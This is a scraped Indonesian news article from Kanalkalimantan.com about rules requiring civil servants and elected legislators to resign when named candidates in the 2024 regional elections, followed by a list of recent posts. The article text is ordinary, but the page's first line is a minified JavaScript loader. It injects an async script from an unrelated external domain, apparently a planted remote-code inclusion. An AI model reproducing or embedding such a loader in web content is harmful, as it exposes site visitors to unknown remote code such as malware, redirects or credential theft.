(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Caleg Terpilih Ikut Pilkada Harus Mundur


KANALKALIMANTAN.COM, BANJARMASIN – Keharusan melepaskan jabatan kepegawaian ketika memutuskan maju pada kontestasi Pemilihan Kepala Daerah (Pilkada) 2024 menjadi syarat mutlak bagi kalangan birokrat atau Aparatur Sipil Negara (ASN).

Ketentuan itu termuat dalam pasal 4 ayat 1 huruf u PKPU Nomor 9 Tahun 2020, dimana ASN yang maju sebagaimana calon Gubernur atau Wakil Gubernur, Bupati atau Wakil Bupati, dan Wali Kota atau Wakil Wali Kota harus menyatakan secara tertulis pengunduran diri sebagai Pegawai Negeri Sipil sejak ditetapkan sebagai calon.

“Iya wajib mundur, ASN kan harus netral,” kata Ketua KPU Kalsel Andi Tenri Sompa, Sabtu (20/4/2024).

Baca juga: Temuan Lelaki Tergeletak di Pinggir Danau Jalan Batu Besi Landasan Ulin

Tak hanya jabatan publik, aturan tersebut juga berlaku bagi jabatan politik, tak terkecuali anggota Dewan Perwakilan Rakyat (DPR), Dewan Perwakilan Daerah (DPD) , dan anggota Dewan Perwakilan Rakyat Daerah (DPRD).

Anggota Badan Pengawas Pemilu (Bawaslu) Provinsi Kalsel, Thessa Aji Budiono mengamini ketentuan tersebut.

Menurut Thessa ketika anggota legislatif memutuskan mendaftar sebagai bakal calon Gubernur atau Wakil Gubernur, Bupati atau Wakil Bupati, dan Wali Kota atau Wakil Wali Kota, maka saat penetapan calon kepala daerah pada 22 September 2024 sudah harus mundur dari jabatan politik tersebut.

Baca juga: Fatin Shidqia Hantar Warga Ibu Kota Rayakan Hari Jadi ke-25 Kota Banjarbaru

“Ya, untuk anggota DPR dan DPRD yang dilantik juga harus mundur dari jabatannya, jika mendaftar diri sebagai calon kepala daerah,” kata Thessa.

Berdasarkan Peraturan KPU Nomor 3 Tahun 2024, anggota DPR RI dan DPD RI terpilih Pemilu 2024 akan melangsungkan pengucapan sumpah atau janji pada 1 Oktober 2024. Sementara anggota DPRD provinsi dan kabupaten kota dilantik menyesuaikan dengan akhir masa jabatan masing-masing anggota.

Saat ini menurutnya regulasi yang dipakai mekanisme pendaftaran calon kepala daerah masih PKPU Nomor 9 Tahun 2020 Perubahan Keempat atas PKPU Nomor 3 tahun 2017. Disanalah ketentuan pengunduran diri anggota legislatif yang maju sebagai calon kepala daerah itu diatur.

Baca juga: Saling Serang Pakai Parang, R Tewas Penuh Darah di Kawasan Pasar Jumat Ratu Elok

Dimana pasal 4 ayat 1 huruf r berbunyi “Menyatakan secara tertulis pengunduran diri sebagai Anggota Dewan Perwakilan Rakyat, Dewan Perwakilan Daerah, atau Dewan Perwakilan Rakyat Daerah bagi Anggota DPR, DPD atau DPRD sejak ditetapkan sebagai calon”

“Saat ini masih pakai PKPU Nomor 9 Tahun 2020. Untuk mekansime dan teknisnya kita tunggu nanti peraturan dan ketentuan lebih lanjut dari KPU” pungkas Thessa. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

1 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

4 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

7 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

7 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

8 jam ago

This website uses cookies.